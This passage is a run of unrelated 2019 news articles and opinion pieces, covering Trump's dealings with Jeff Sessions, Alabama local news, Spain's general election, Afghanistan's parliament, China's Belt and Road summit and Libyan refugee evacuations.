fired him, more than 20 months later. Trump's frustration with and entreaties to Sessions began in the early months of 2017 as his former loyal supporter mulled whether he should remove himself from the Russia investigation because of his role in the campaign. Scrutiny of Sessions, a former Alabama senator, increased after reports that he hadn't disclosed two meetings with the Russian ambassador before the election . On Thursday morning, March 2, the day after those reports surfaced, Trump called White House counsel Don McGahn, urging him to appeal to Sessions not to recuse himself. McGahn reached out to Sessions personally at least three times, to his top aides and even to Senate Majority Leader Mitch McConnell all to no avail. Sessions would announce his recusal that afternoon. To Sessions, it wasn't a close call. He believed the regulations were clear. But he knew the president was mad at him. At the White House, aides worried about the specter of obstruction of justice. In the hours after Sessions' announcement, McGahn's office directed that the attorney general should not be contacted about the matter. One of McGahn's top aides jotted down in her notes: "No contact w/Sessions" and "No comms/Serious concerns about obstruction." At the same time, aides tried to calm the angry president. McGahn told Trump in the Oval Office meeting that ethics officials had weighed in; Bannon told him the recusal wasn't a surprise. That weekend, Sessions traveled with McGahn to Trump's Florida retreat, Mar-a-Lago, where the president pulled him aside, alone, and suggested he "unrecuse." But Sessions would not change his mind. Trump's anger flared again in early May, after FBI Director James Comey refused to tell a congressional hearing that Trump himself wasn't under investigation. "This is terrible Jeff," Trump told Sessions. "It's all because you recused." Trump fired Comey , but the Russia investigation did not end: the deputy attorney general, Rod Rosenstein, appointed special counsel Robert Mueller to take charge. Sessions found out about that appointment while he was with Trump at the White House, conducting interviews for a new FBI director. Sessions stepped out to take the call from Rosenstein, and then personally informed Trump of the news. It didn't go over well. Trump cursed and said it was the end of his presidency. And he again turned on Sessions. "How could you let this happen, Jeff?" Trump asked. He told Sessions he needed to resign. Sessions agreed, and left. The next day, Sessions finalized a resignation letter that said: "Pursuant to our conversation of yesterday, and at your request, I hereby offer my resignation." He brought it to the White House and handed it to the president, who put the letter in his pocket. Instead of immediately accepting the resignation, though, Trump asked Sessions several times if he wanted to stay on. Sessions said he did, but it was up to Trump. Trump ultimately said he wanted the attorney general to remain, and they shook hands. But the president didn't return the letter. Over the next two weeks, as Trump traveled in the Middle East, his aides fretted over the unreturned letter and told Sessions they would try and get it back. White House Chief of Staff Reince Priebus told Sessions he was concerned because the letter could be used as a "shock collar" to hold over the attorney general's head. On a flight from Saudi Arabia to Tel Aviv, Trump pulled the letter out of his pocket and showed it to a group of senior advisers, including aide Hope Hicks, and asked what he should do. It wasn't until May 30, several days after returning from his trip, that Trump returned the letter to Sessions with a notation: "not accepted." Through the year, Trump tried several times to get Sessions to change his mind about recusal, alter the direction of Mueller's probe or investigate his political enemies, including Hillary Clinton. In June, Trump asked his former campaign manager and confidant, Corey Lewandowski, to deliver a message to Sessions: He should publicly announce that the investigation was unfair to Trump. He should also tell the public that he would meet with Mueller and direct him to refocus the probe on future elections. Lewandowski never delivered the message and stored the notes in a safe in his home. The president met with Lewandowski again in July and asked for an update. Lewandowski said his message would be delivered soon, and then asked White House aide Rick Dearborn a former Sessions Senate aide to pass it along instead. Dearborn felt uncomfortable with the request and did not follow through. Trump also asked Priebus to get Sessions to resign prompting Priebus and McGahn to discuss whether they might have to resign rather than carry out the order. Trump eventually backed off after Priebus told him that firing Sessions would be a political calamity. Trump began tweeting about Sessions, calling him "embattled" and making it clear to the public that his job was in jeopardy. According to Sessions' chief of staff, Sessions prepared another resignation letter and kept it in his pocket every time he went to the White House. The public flogging continued through 2018 as Trump tweeted criticism of Mueller's probe and often blamed Sessions for it. On Nov. 7, 2018, the day after the midterm elections, Trump finally pushed Sessions out , using social media to signal the end of his long campaign to rid himself of an attorney general who would not bend to his wishes. We thank Attorney General Jeff Sessions for his service, and wish him well! he tweeted. A Circuit Court judge has ruled in favor of allowing University Charter School in Livingston to stay put in its present location, the site of the former Livingston High School in Sumter County. The Sumter County Board of Education filed suit in 2018 hoping to prevent the opening of the charter school in that location, asking a judge to recognize an agreement between the University of West Alabama and the school districts board that the old Livingston High School would never be used as a K-12 charter or public school. In his order, Circuit Judge Gaines McCorquodale agreed with UWAs argument that the 2015 charter school law enacted by Alabamas lawmakers gives charter school operators the right to open in former public school buildings, effectively voiding any agreement that might have been in place. In a preliminary ruling last July, McCorquodale sided with the university and allowed University Charter School to open. The integrated charter school, in what has been called Alabamas most segregated county, made national headlines. The Sumter County school board closed Livingston High School at the end of the 2010-11 school year. The Alabama State Department of Education intervened in the districts operations in 2010 due to financial struggles the district faced. State education officials authorized the sale of the school to the University of West Alabama in 2011. In Sumter County, recently recognized as the poorest in Alabama, the opening of University Charter School was seen by many as a step forward, as it would open with nearly an equal number of black students and white students, something not seen in the county's public schools before. Token school desegregation occurred in Sumter County in the mid- to late-1960s, but when a federal court order required immediate integration, white families pulled their children out of the public schools, effectively ending any chance for the public schools to become fully integrated. Meanwhile, white families sent their children to either Sumter Academy, one of many segregation academies opened in Alabama after federal judges ordered schools to integrate, or to surrounding city or county school systems. The public system was populated with nearly all black students by the early 1970s and remains so today. Enrollment in Sumter County schools has continued to decline, as it has in many rural areas of Alabama. The system today educates 1,300 students, down from 2,300 students 10 years ago. Three of the county's four schools landed on the state's "failing" public school list, meaning student test scores are in the bottom 6 percent statewide. Faced with a need to improve K-12 education in Sumter County, in 2016 the University of West Alabama began exploring options. By 2017, the idea to open a public charter school emerged, and the old high school property became University Charter School in August. The charter schools opening was not welcomed by Sumter County school administrators and others in the community who questioned whether the charter school is just a replacement for the financially troubled segregation academy, which closed at the start of the 2017-18 school year. University officials dispute that claim, saying they opened the school to enhance educational opportunities in the area. University Charter School is one of only two charter schools currently operating in Alabama. Three charter schools are expected to open in Alabama in August. Woodland Prep will open in Washington County in southwest Alabama, Legacy Prep will open in Birmingham, and LEAD Academy will open in Montgomery. University Charter School will add a ninth grade class for the 2019-20 school year. Enrollment requests exceeded capacity, so the charter school held a lottery in February. Charter school officials said they expect to enroll more than 400 students, nearly all of whom are residents of Sumter County. The racial balance of students at the charter school, currently 55 percent black and 45 percent white, is expected to shift slightly toward a higher percentage of black students according to charter school officials. The former Trussville fire chief has been indicted on charges that he took four vehicles that belonged to the city and used them for personal gain. A Jefferson County grand jury issued the six felony indictments against 59-year-old Russell Ledbetter on April 5, according to court records made public Friday. He was initially arrested on the charges two counts of first-degree theft and four counts of ethics violations for using property for personal gain one year ago and has remained out of jail on $90,000 bond. Det. Brendan Fuller with the Alabama Law Enforcement Agency testified during a preliminary hearing in the case last year that the charges stem from incidents involving four vehicles, and ALEA was first alerted to the case after Trussville Mayor Buddy Choat wrote to the agency in 2017, asking for officials to investigate. Trussville has both a paid, full-time fire department and a volunteer department. Ledbetter served as fire chief beginning in 1998 until he was placed on leave in 2016. The first vehicle Fuller described was a 2008 Ford Crown Victoria. The Trussville Volunteer Fire Department purchased the car in 2014 for approximately $3,000. In 2016, Ledbetter registered the car in his name and purchased the title for $10, Fuller said. Last year, Ledbetter sold the car to another fire department for $1,000, the detective said. One theft and one ethics charge stemmed from that incident. The second car Fuller testified about was a 1968 AMG military vehicle. Fuller said he didn't know when the department obtained the car, but that Ledbetter registered the car to himself in 2014 and "simply took" it. The car was surrendered to investigators after Fuller set a day all department property to be turned into authorities, and Fuller said Ledbetter admitted the vehicle was his. One theft and one ethics charge come from the AMG. Fuller also described a 1952 carry-all Jeep military vehicle. The Jeep was also registered under Ledbetter's name in 2014. According to Fuller, the Jeep was restored and extensively worked on at the volunteer fire department and by firefighters, using city tools and labor. Following its restoration, the Jeep was stored at another firefighter's home. One ethics charge stems from the Jeep. The AMG and the Jeep both were registered with vintage tags, Fuller said, which the state does not maintain records for. The last vehicle Fuller described was a 2015 travel trailer. That trailer was purchased by the fire department or the volunteer fire department from a state surplus auction for approximately $1,500 in 2007. One year later, Fuller said Ledbetter registered the trailer in his name and has continued to keep a current registration on it. One ethics charge stems from the trailer. Ledbetters attorney, Bill Clark, said last year that there was no evidence Ledbetter stole any of the vehicles or trailer and no evidence he violated ethics laws in any way. A former McAdory High School student was arrested Friday morning after he entered the school armed with a handgun. The incident began between 7 a.m. and 7:30 a.m., said Jefferson County sheriffs Sgt. James Perry. Some students and staff noticed the teen and found him to be suspicious. Thats when they called 911. Deputies arrived at the school and found the 17-year-old black male in a bathroom stall. He was armed with a loaded gun and taken into custody without further incident. Perry said the former student was involved in an ongoing disagreement with a current student and they believe he was coming to the school to shoot him. Authorities said the suspect was expelled from the school last year. He has been arrested twice and placed on house arrest for several infractions since that time. On Friday, sheriffs officials said, the teen rode the bus to school and thats where he was noticed by several students, one of which saw what he thought was a gun. The student notified a teacher in the lunchroom who then notified the principal. School resource deputies were already on the school grounds and responded immediately. Thats when the school was locked down and several sweeps were done. Deputies found the Smith & Wesson .40-caliber weapon. The suspects name has not been released because of his age. He has been charged with making a terrorist threat, criminal trespassing, carrying a pistol without a license, being in possession of a pistol at a school and giving false information to law enforcement officers. The school was temporarily placed on a soft lockdown, which has been lifted. "Because the threat was properly reported to our school administration, we went on lockdown, the situation was quickly resolved by the Jefferson County Sheriffs Department, and the normal school schedule has resumed,'' said schools spokeswoman Whitlee Lusk. The safety of our students, faculty, and staff is our top priority and we will continue to work with law enforcement as they continue to investigate. A former inmate at the Jasper City Jail claims she was repeatedly sexually abused by a jailer. Attorneys for the woman, identified in court records only as Jane Doe # 1, filed a federal lawsuit earlier this month naming as defendants Jasper Police Chief J.C. Poe in his capacity as chief, jail supervisor Deborah Johns and jailer Dennis Busby, who has since left his position at the city jail. Efforts to locate Busby for comment were unsuccessful. Jasper City Attorney Russell Robertson said police and jail officials did not receive any complaints or allegations against Busby during his employment there, and that his name never surfaced in an extensive state investigation that led to sex-related charges against another former jailer. According to the suit, Jane Doe #1 became addicted to opioid pain medication prescribed to her by her doctors and ultimately began using heroin, which led to criminal behavior on her part. On Feb. 5, 2017, she began serving a 90-day sentence in the Jasper City Jail on a misdemeanor conviction. During her sentence, Jane Doe #1 was assigned to work release, and later designated a jail trusty, which meant she was able to leave her cell to perform work under the supervision of jailers. Also, as a trusty, she was allowed to leave her cell occasionally to cook or clean outside the direct supervision of a jailer. The former inmate contends in the suit that male correctional officers routinely guarded female prisoners. Busby, she contents, would give her drugs, tobacco and make sexually-suggestive comments to her. Those comments, according to the suit, escalated to Busby groping and kissing Jane Doe #1 in a storage closet that was not electronically monitored, as well as a second-floor room which contained a freezer and an outbuilding. On more than one occasion, the suit contends, Busby sexually molested her. Attorneys Michele E. Pate, Andrew Allen and Frank Ozment stated in the lawsuit that alleged sexual abuse caused Jane Doe #1 physical injury, severe emotional distress and mental anguish. The defendants actions, they wrote, were so outrageous and so extreme in degree as to go beyond all bounds of decency, are atrocious and utterly intolerable in a civilized society. The suit is asking for unspecified monetary damages and proper training, supervision and discipline for all jailers. One year ago, another city jailer Russell Damon Boyd was arrested and charged with two counts of custodial sexual abuse, both felonies. Charging documents against Boyd accused him of engaging in sexual conduct with two women on or between Sept. 1 through Dec. 31, 2017. Boyd is still awaiting trial. The charges against Boyd came after an extensive investigation by the Alabama Law Enforcement Agencys State Bureau of Investigation. City Attorney Robertson said Busbys name never surfaced during that probe and that the Police Chief Poe and Jail Supervisor Johnson never received any complaints of a sexual nature during Busbys employment there. Robertson said they take seriously the allegations made by Jane Doe #1. This is not conduct that is tolerated, permitted or condoned, he said. He said at no time did the police chief or the jail supervisor suspect, much less tolerate, the actions of which Busby is accused. It is not true that this conduct is common in the jail, he said. I had occasion to drive a friend to the hospital the other day, where I sat in the waiting room as she had an outpatient procedure. While there, I had a three-part epiphany, sparked in part by lousy cable TV and in part by the hospital itself. So here we go with: Epiphany No. 1. From chloroform and leeches to heart transplants and outpatient brain surgery, medicine has made incredible strides in the past 200 years -- and especially in the past 50 years. But there is one constant: the ubiquitous and uniformly hideous hospital gown. It fastens in the back, staff members say with a smirk as they hand a gown to you or your friend. Theyre smirking because they know the truth: Hospital gowns are impossible to fasten in the back, in the front or on the side. Whether youre short or tall, thin or plump, and no matter how hard you work to tie the flimsy little straps or snap the tiny little snaps, your backside will be exposed to doctors, nurses, custodians, visiting pastors, family members, friends, casual acquaintances and total strangers. In a nation that has put a man on the moon and in which even little children can operate smart phones, it makes no sense that we havent come up with a more comfortable and, if not attractive, then at least not hideous hospital gown. Epiphany No. 2: The year is 2019. This is the United States of America. Our population contains slightly more women than men. Women in general have been socially, economically and culturally liberated for 50 years and now are plowing new ground with the Me Too movement. So youd think a woman finally might be at the top of the list of presidential contenders, right? But of course you would be wrong. The front-runners from the two major political parties look very much like front-runners from seasons past: They are male, they are white and three of them are in their 70s. When the author of Ecclesiastes opined that there is no new thing under the sun, theres no way he could have foreseen how very correct he would sound some 3,000 years later. Yet here we are, some of us wondering why all the changes weve seen over the years havent brought about the ultimate change. Epiphany No. 3: Some Muslims seem to wonder why many Christians, Jews and other non-Islamic people of faith are prejudiced against their beliefs. They cant understand why those people are stand-offish and not interested in finding ways to work together ecumenically. They bristle the most, though, at any suggestion or suspicion that their faith is backward, brutal and/or barbaric. And then along come headlines like these: Saudi Arabia beheads 37 people, puts body on display. Saudi prisoner 'executed and crucified.' Saudi Arabia raises number of beheadings by 70 percent. Talk about a king-size PR problem in an influential country that is predominantly Muslim. People can disagree and debate the morality of death penalties in general, but in this day and age, it is simply barbaric to chop off peoples heads, display mutilated bodies and host public crucifixions. If you long for other cultures to view you as modern and progressive, youre going to have to act more modern and progressive. Conclusions from a hospital waiting room include: If you dont want to be thought of as a backward country, then dont do backward things; American women will know theyve been liberated when theres a woman in the White House; and no matter what they tell you at the outpatient check-in desk, youll be wearing the same old tacky gown that people have worn since hospitals were invented. Thats the thing about random epiphanies. Some matter a little; others matter a lot. And none can guarantee that you wont be mooning a hospital full of doctors, nurses, custodians, visiting pastors, family members, friends, casual acquaintances and total strangers. Frances Coleman is a freelance writer living in Baldwin County. Email her at fcoleman1953@gmail.com and like her on Facebook at www.facebook.com/prfrances. Spain to vote on Sunday against backdrop of tensions over Catalonia, as rising far right upsets traditional landscape. Spain will hold its third general election in four years on Sunday, April 28 against the backdrop of regional tensions following a failed bid for Catalan independence in 2017, and a rising far right. According to opinion polls, around a quarter of voters remain undecided as nationalism and social issues have displaced the economy as dominant campaign themes. There is quite a heavy division, to the extent of which the election, at least for the right, looks a lot like a referendum on [Prime Minister Pedro] Sanchez and Catalonia, said Jose Ignacio Torreblanca, head of the European Council on Foreign Relations Madrid office. Of course, Sanchez wants to avoid that and turn the election into a discussion on progressive policy versus the right wing. Why is another election being held? Its the first nationwide vote since the referendum on seceding from Spain, which led to Madrid sacking the Catalonia government and briefly imposing direct rule on the region. When snap regional elections were held later in 2017, separatist parties secured a renewed majority, prolonging the crisis and damaging then-Prime Minister Mariano Rajoys credibility. The far right has exploited mainstream politicians failure to resolve the Catalonia issue. Pablo Iglesias (R), Albert Rivera (R2), Pablo Casado (L) and Pedro Sanchez (L2) [Anadolu/Burak Akbulut] Pedro Sanchez, the current prime minister who heads the Spanish Socialist Workers Party (PSOE), called the snap vote in February, after Catalan nationalist and right-wing parties rejected his budget in parliament. Sanchez came to power in June 2018 after winning a confidence vote against Rajoy, whose conservative Peoples Party (PP) was embroiled in a corruption scandal. The PSOE leader won with the help of Catalan separatist parties, and with only 84 deputies in the 350-seat parliament, he relied on their support to pass legislation. His right-wing opponents were infuriated at Rajoys removal and painted the PSOEs alliance with separatists, in the wake of Catalonias attempt to secede, as a threat to the territorial integrity of Spain. Which are the main parties? For decades, two main parties vied for the centre ground the socialist PSOE and the conservative PP. But the economic crisis that started in the late 2000s provided an opportunity for new parties to challenge the status quo. The left-wing populist Podemos and the centrist populist Ciudadanos entered mainstream politics in 2015. The far-right Vox party won a dozen seats in a regional election at the end of 2018. Voxs rise has pushed Ciudadanos and PP further to the right. A mural of Jordi Cuixart, leader of Omnium Cultural, who has been in jail since 2017 awaiting trial for his role in the Catalan independence referendum [David Ramos/Getty Images] Here is a breakdown of the main contenders: PSOE, Spanish Socialist Workers Party: PM Sanchez has taken the PSOE from the brink of electoral irrelevance to power. His coalition government relied on the support of Podemos, as well as Basque and Catalan nationalist parties, which eventually forced the snap election. Opinion polls suggest the PSOE will win the largest number of seats in Sundays vote, although not a majority, meaning it may turn to the same regional nationalists and Podemos to form a new coalition government. PP, Peoples Party: In power from 2011 to 2018, PP has been tainted by corruption, which eventually led to the removal of Rajoy last June. Its new leader, Pablo Casado, has adopted a combative tone on the campaign trail, calling his socialist opponent the candidate of the enemies of Spain in reference to his alliance with Catalan nationalist parties, and moving the party to the right in a bid to head off Vox. Ciudadanos, Citizens: Initially a populist, centrist party akin to French President Emmanuel Macrons En Marche! party, Citizens arrived on the national stage in the 2015 election, winning 40 seats. It has also shifted to the right in response to Vox, taking a hard line on Catalan secessionists. Its leader Albert Rivera has ruled out forming a coalition with the PSOE and accused Sanchez of wanting to liquidate Spain a reference to his alliance with Catalan nationalist parties. Podemos, We Can: The left-wing populist party emerged from the 2011 indignados movement, which campaigned against austerity. It broke through on a national level in 2015, winning 69 seats to become the third-biggest party at the time. But dogged by infighting and splits, Podemos has failed to build on early success. Vox, Voice: Founded in 2013 by Santiago Abascal, Vox is the first far-right party to emerge on the national stage in decades. Supported by Steve Bannon, US President Donald Trumps former chief strategist, Vox has vowed to make Spain great again. Its main message is that Spain needs to be saved from Catalan and Basque separatism. The party made its first significant breakthrough in December in regional elections in Andalusia, Spains most populous region, where it won around 11 percent of the vote and 12 of 109 seats in the regional parliament. What issues are at play? The crisis in Catalonia has been at the forefront of the campaign period, despite some polls suggesting that the issue has faded in importance for voters. While leftist parties favour offering fiscal and self-governance incentives to separatists, right-wing groups oppose any concessions to pro-independence parties in Catalonia. Vox has proposed legislation that would reduce the power of regional governments. In terms of social issues, feminism has featured in the electoral campaign. Sanchez has presented himself as a defender of hard-won liberal reforms and champion of womens rights. He appointed women to 11 out of 17 positions in his cabinet and has pledged to ban prostitution, invoking the threat of a right-wing government that would curtail womens rights. Vox has rallied against gender violence laws, which it says discriminate against men, and the far-right party wants to prevent public health services providing abortion and sex change procedures. While Vox styles itself as a protector of traditional family values, its main message is that Spain needs to be saved from separatism. This is a reaction, largely sparked off by the Catalan and Basque nationalist movements, said Sebastian Balfour, emeritus professor of contemporary Spanish studies at the London School of Economics. [The Catalonia crisis] stirred up a response from the traditional right wing, those with nostalgia for the Franco dictatorship and younger people who dislike the liberal reforms that have taken place over several decades. They also dislike the progressive culture, as they see it, for example, the Spanish equivalent of the Me Too movement. Although voters are concerned about the economy, it has not been a prominent issue. After five consecutive years of growth, the IMF predicts it will rise again by 2.1 percent this year. Spains unemployment rate has dropped from a peak of around 26 percent in 2013 to 14 percent in 2018, according to World Bank data. But this is about double the European Union average, which was around seven percent in 2018. [The economy] is on the back burner, said William Chislett, an associate analyst at Elcano Royal Institute. Its not an issue. Its probably more of an issue for the man in the street than it is for the parties, so it shows theres somewhat of a disconnect between your average Jose and your political leaders. Santiago Abascal, leader and presidential candidate of Spains far-right party Vox, delivers a campaign speech in the Andalusian capital of Seville [Marcelo del Pozo/Reuters] What happens after the vote? It is unlikely that any single party will win a majority in the 350-seat parliament, meaning the party leader with the best chance of forming a government will get the first opportunity to try and build a coalition. According to polls in Spains El Pais newspaper on Monday, Sanchezs party was projected to win around 129 seats, with PP on course for 78, followed by Citizens (46 seats), Podemos (35) and Vox (30). There appear to be two potential blocs that could add up to a parliamentary majority: PSOE, Podemos and regional nationalists and PP, Ciudadanos and Vox. You have two blocs which are in an existential competition because their policies are totally incomparable with each other, so they need to win an absolute majority which it is not likely, said ECFRs Torreblanca. This would leave us after the election with two blocs, which have tried a winner-takes-all policy, but they havent succeeded. Therefore you would either go for another election, or it would open the way for a centrist bloc to emerge. If no party is able to form a working majority, then the country will hold another general election. A failure of the Spanish left to win the April 28 vote and form a government would usher the far-right Vox into power. On April 28, 36 million Spanish voters will have the opportunity to decide whether Spain joins Italy, Hungary, and Austria by electing a far-right government or continues to be, together with Portugal, the European socialist exception. Although Pedro Sanchez, prime minister and leader of the Socialist Party (PSOE), is leading in the polls, if he does win, he will have to enter into a coalition with other parties to form a government. While the leftist Podemos (We Can, running as Unidas Podemos) and the National Basque Party will probably join such a coalition, its unlikely that the two main pro-independence Catalan parties the Catalan Republican Left and Catalan European Democratic Party would support the PSOE this time. Although Sanchez had taken a more conciliatory approach to the Catalan question in order to secure the political support of Catalan parties for his minority government, he ultimately rejected demands to negotiate on Catalan self-determination and the imprisonment and trial of several Catalan leaders who led the unauthorised referendum and unilateral declaration of independence in 2017. It was the refusal of the two pro-independence Catalan parties to back the proposed national budget that forced the Spanish prime minister to call for snap elections in February. Yet, the situation is quite fluid and the outcome of the election remains uncertain. The latest polls show that approximately 28 percent of voters are still undecided, while the rest of the vote is fragmented between various parties to the left and right of the political spectrum. Unlike France and Germany, where liberal centrist parties and coalitions run the country, in Spain, the centre has almost disappeared, creating uncertainty and confusion among voters. After the emergence in 2016 of left-wing Podemos and its right-wing counterpart, Ciudadanos (Citizens Party), the Spanish electoral map ceased to be defined by the dominance of the centre-left PSOE and the centre-right Popular Party (PP). Then in 2018, the unexpected success of Vox, a racist, homophobic, and anti-immigration party, in the Andalusian regional elections shook Spanish politics and caused the right and the left to further radicalise their rhetoric and move further away from the centre. While this radicalisation has been welcomed by most left and right-wing voters, tired of their parties bipartisan positions, it has worried the moderate section of the electorate, which likely constitutes the majority of the undecided 28 percent. Vox will certainly play a major role in the outcome of the April 28 election. After its electoral success in Andalusia, the far-right party became part of the governing coalition along with the PP and Ciudadanos in a region that had been under socialist rule for more than three decades. There are fears now that these three parties have a chance of winning the national election as well. The polls currently show that around 12.5 percent of the vote will go to Vox, 17.8 percent to PP and 19 percent to Ciudadanos. In total, this accounts for fewer seats (156) than what the PSOE and Podemos are currently estimated to get (162). However, the absence of support from smaller regional parties could preclude the formation of a leftist government, in which case the mandate might be passed onto the right. This would ultimately bring Voxs toxic nationalistic politics into government. Founded in 2013 by Santiago Abascal, a former protege of ex-PP leader Jose Maria Aznar, Vox gained momentum in the past few years, as economic uncertainty, high unemployment rates and high levels of immigration have worried many Spanish citizens and added to nationalistic fervour fuelled by the Catalan crisis and the controversial exhumation of fascist dictator Francisco Francos remains. Vox has captured this increasing anxiety by resorting to ultranationalist rhetoric. Its functionaries have claimed that the cultural, linguistic and religious identity of Spain is under threat by Muslim immigration. As Javier Ortega Smith, Abascals number two official, has said, Our common enemy, the enemy of Europe, the enemy of progress, the enemy of democracy, the enemy of family, the enemy of life, the enemy of the future is called the Islamist invasion. It should not come as a surprise that Vox wants to repeal Article 510.1 of the Criminal Code, which sets out prison sentences for those found guilty of publicly inciting hate, close regional public-television channels, and build an insurmountable wall in the Spanish exclave cities of Ceuta and Melilla on the northern coast of Africa. Vox has also lashed out at the growing feminist movement in Spain. In recent years, Spanish women have protested against shocking levels of domestic violence and continuous underpayment of female labour (womens hourly earnings are still 14.9 percent lower than mens). The far-right party has identified womens rights activism as a threat and claimed that the gender ideology it supposedly promotes goes against Spains heteronormative, Christian, and white family values. Regardless of the outcome of the April 28 vote, this electoral season has given Abascal the unique opportunity to show that only his party puts los espanoles primero, that is, Spaniards first. He has portrayed the PP and Ciudadanos as moderate, soft, and cowards and Sanchez and Pablo Iglesias, the leader of Podemos, as enemies of Spain. The decision of Spains election committee to exclude Vox from the two televised debates at the beginning of the week has backfired and will likely give the party a boost at the polls. Even if Sanchez and Iglesias are able to attract some of the 28 percent undecided voters and manage to keep yet another European country from falling into the hands of a right-wing coalition, what is abundantly clear is that the far right, which mourns past dictatorships and yearns for authoritarian powers, is here to stay in Spanish electoral politics. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. Dozens of seats remain empty in the newly inaugurated parliament amid allegations of rigging and irregularities. Afghan President Ashraf Ghani has inaugurated the countrys new parliament, though dozens of seats remained empty amid ongoing claims of election fraud. The parliaments first session on Thursday came six months after a vote that was marred by a string of deadly bombings and attacks on polling stations across the country. In his opening speech, Ghani called for the protection of human rights and expressed regret over the 33 seats that remain vacant in the 249-seat lower house. Today, in the house of the nation, the majority of the new members of the parliament are educated, and from a younger generation who will protect womens rights and human rights, he said. The government had no role in the inaugural delay, he said, blaming the incompetency of former election commission members who have since been replaced. Ghani also encouraged the newly elected legislators to participate in the peace process with the Taliban. We have presented the peace plan on a regular basis and we are committed to it, he said. Based on this plan, there will be no peace deal and negotiation that does not have the green card of the parliament. The president has invited thousands of politicians, religious scholars and rights activists to an assembly known as a loya jirga next week to discuss ways to end the 17-year war. Ghanis term as president was supposed to end May 22 but has been extended for several months. Presidential elections to find a replacement should have been held by now, but have been twice delayed as election workers scramble to fill the backlog from the parliamentary vote. 190402101100457 Fridays ceremony came as the defence ministry said the military had stormed a Taliban-run jail in southern Zabul province, freeing 53 captives held by the fighters. Those freed included four Afghan commandos and four policemen. The rest were civilians, the ministry said. The Taliban stage near-daily attacks and though they are negotiating with US envoy Zalmay Khalilzad. The armed group refuse to talk directly to Ghanis government, calling it a puppet of the West. The Taliban has been running an armed rebellion since it was dislodged from power in 2001 after the US-led invasion of Afghanistan. The ongoing negotiations mark the highest level negotiations between the two sides since the US ramped up peace efforts last year. Talks that were to start last week in Qatar between the Taliban and an array of prominent Afghans, including government officials and opposition representatives, were scuttled after a falling-out between the two sides over who should attend. President Xi Jinping laid out Chinas aspirations for its Belt and Road Initiative that spans the globe. Chinas Belt and Road Initiative (BRI) will focus on transparency and clean governance, President Xi Jinping said at the opening of a summit on his grand plan on Friday, adding that the massive infrastructure and trade plan should result in high-quality growth for everyone. Xis plan to rebuild the ancient Silk Road to connect China with Asia, Europe and beyond has become mired in controversy as some partner nations have bemoaned the high cost of infrastructure projects. China has not said exactly how much money will be needed in total, but some independent estimates suggest it will run into several trillion dollars. Beijing has repeatedly said it is not seeking to trap anyone with debt and only has good intentions, and has been looking to use this weeks three-day summit in Beijing to recalibrate the policy and address those concerns. Everything should be done in a transparent way and we should have zero tolerance for corruption, Xi said in a keynote speech. Building high-quality, sustainable, risk-resistant, reasonably priced, and inclusive infrastructure will help countries to fully utilise their resource endowments. Unlike the first summit in 2017, where Xi said Chinese banks would lend 380 billion yuan ($56.43bn) to support Belt and Road cooperation, he did not give a figure for new financing support. But Xi is expected to give another speech on Saturday. Debt trap diplomacy Al Jazeeras Katrina Yu, reporting from Beijing, said President Xi used most of his half-hour speech trying to allay concerns about the BRI. One of the main criticisms is that this really is a big plan, which basically is a form of debt trap diplomacy what happens is some of these countries are saddled with millions, potentially billions of dollars worth of debt that theyre unable to pay back, Katrina said. They default on these loans, which leaves them quite vulnerable to Chinese political influence, she added. International Monetary Fund Managing Director Christine Lagarde echoed those concerns. 190107030233089 History has taught us that, if not managed carefully, infrastructure investments can lead to a problematic increase in debt, Lagarde said in remarks prepared for delivery at the conference. I have said before that, to be fully successful, the Belt and Road should only go where it is needed. I would add today that it should only go where it is sustainable, in all aspects. Sri Lanka sold China a 70 percent stake in a major port Hambantota in 2017 despite security concerns and demonstrations. Sri Lankan officials said the deal was the only way the country could repay debt much of it owed to China. Malaysia halted a BRI rail project last year, restarting after it renegotiated to reduce the cost of construction by a third and increase the level of local involvement. Development in and around Pakistans Gwadar port is a major BRI project [File: Anjum Naveed/AP] I am fully in support of the Belt and Road Initiative, Malaysian Prime Minister Mahathir Mohamad said at the forum. I am sure my country, Malaysia, will benefit from the project. Social uplift Pakistans Prime Minister Imran Khan said his countrys electricity supplies had increased massively with the implementation of the China-Pakistan Economic Corridor (CPEC). 190321170015949 China has pledged more than $60bn to Pakistan in loans and investments for roads, ports, power plants and industrial parks making the country one of the largest BRI recipients. Khan said Pakistan was looking forward to the project moving into its next phase focusing on social uplift, poverty alleviation, agriculture and industry, including the opening of special economic zones. In a world of uncertainty, Khan said, the initiative offered a model of collaboration, partnership, connectivity and shared prosperity. United Nations Secretary-General Antonio Guterres said the environment could also benefit. The scale of planned Belt and Road investments offers a meaningful opportunity to contribute to the creation of a more equitable, prosperous world for all, and to reversing the negative impact of climate change, Guterres said. Xi launched the BRI in 2013, and according to financial markets data company Refinitiv, the total value of projects in the scheme stands at $3.67 trillion, spanning countries in Asia, Europe, Africa, Oceania and South America. Chinese promises The BRI will also bring development opportunities for China as it further opens its markets to the world, Xi said. In accordance with the need for further opening up, [well] improve laws and regulations, regulate government behaviour at all levels in administrative licensing, market supervision and other areas, and clean up and abolish unreasonable regulations, subsidies and practices that impede fair competition and distort the market, he said. Xi promised to significantly shorten the negative list that restricts foreign investments, and allow foreign companies to take a majority stake or set up wholly-owned companies in more sectors. Tariffs will be lower and non-tariff barriers will be eliminated, Xi added. China also aims to import more services and goods, and is willing to import competitive agricultural products and services to achieve trade balance and inclusive growth for the world economy, Xi said. But despite the promises, there are other criticisms over how some of these deals are actually implemented, Al Jazeeras Katrina said. There is very little rule of law involved very opaque deals resulting in corruption, in environmental damage, she said. Although the summit brought together 37 heads of state, the United States had no significant representation, nor did most major European countries, Katrina noted. They remain deeply suspicious and sceptical of this plan being anything more than Beijing trying to attain more political influence worldwide, she said. Russian President Vladimir Putin said BRI will provide a harmonious and sustainable economic development, economic growth, throughout the Eurasian space. Giuseppe Conte, the prime minister of Italy, which recently became the first G7 country to sign on to the initiative, is also attending the summit. A total of 675 people have been evacuated from detention facilities near the Libyan capital since Wednesday. The United Nations has evacuated 350 more refugees from a detention centre in southern Tripoli amid escalating violence near the Libyan capital. The Libyan National Army (LNA), led by renegade military commander Khalifa Haftar, which is allied to a rival government in eastern Libya, mounted an offensive on Tripoli earlier this month, but has so far failed to breach the citys southern defences. The group of refugees could be seen travelling on Thursday in buses to a detention centre in Zawiya, a town 40km west of the capital, bringing the total evacuated since Wednesday to around 675. The refugees came from a facility in the Qasr bin Ghashir district run by the UN-recognised government in Tripoli, an area that has become the main theatre of the ongoing fighting. 190424200149291 The move was triggered by reports on Tuesday of the use of armed violence against detainees who were protesting against the conditions in which they were being held, UNHCR said in 